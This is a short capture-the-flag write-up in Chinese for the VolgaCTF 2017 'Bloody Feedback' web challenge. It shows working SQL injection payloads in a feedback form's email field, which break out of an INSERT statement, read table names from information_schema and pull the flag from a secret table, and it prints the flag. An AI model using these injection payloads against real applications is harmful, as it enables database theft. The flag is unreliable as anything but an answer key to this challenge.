[VolgaCTF 2017 Quals] - Bloody Feedback 100

題目資訊

Category: Web
Point: 100
Description: Send your feedback at bloody-feedback.quals.2017.volgactf.ru

解法

網站給了一個表單,input欄位分別是 name, email, feedback message,填寫的表單最後會被顯示在公開佈告欄。
使用者發送表單後後端會回傳個隨機網址,點進網址可以查看目前feedback message的狀態,看是不是已經被放到公開佈告欄了。

發送一般的request後,status會顯示not processed
POST: name=a&email=b&message=c
normal request

試了一下,在email欄插入'就會造成error,還可以看到各個input欄位分別是甚麼。
POST: name=a&email=b'&message=c
with single quotation

從上面可以分析出來該sql語句應該是
INSERT INTO … VALUE($code, $name, $message, $email, 'not processed')
所以只要把最後的not processed部分改插我們想要的東西,再來把後面註解掉,就會顯示出來了!
POST: name=a&email=b', 'Hello World!') --&message=c
show arbitrary text

成功了!先拿table
POST: name=a&email=b', (Select table_name from information_schema.tables limit 1 offset 1)) --&message=c
show table

最後拿flag
POST: name=a&email=b', (SELECT * FROM s3cret_tabl3 limit 1 offset 4)) --&message=c
get flag
Flag: VolgaCTF{eiU7UJhyeu@ud3*}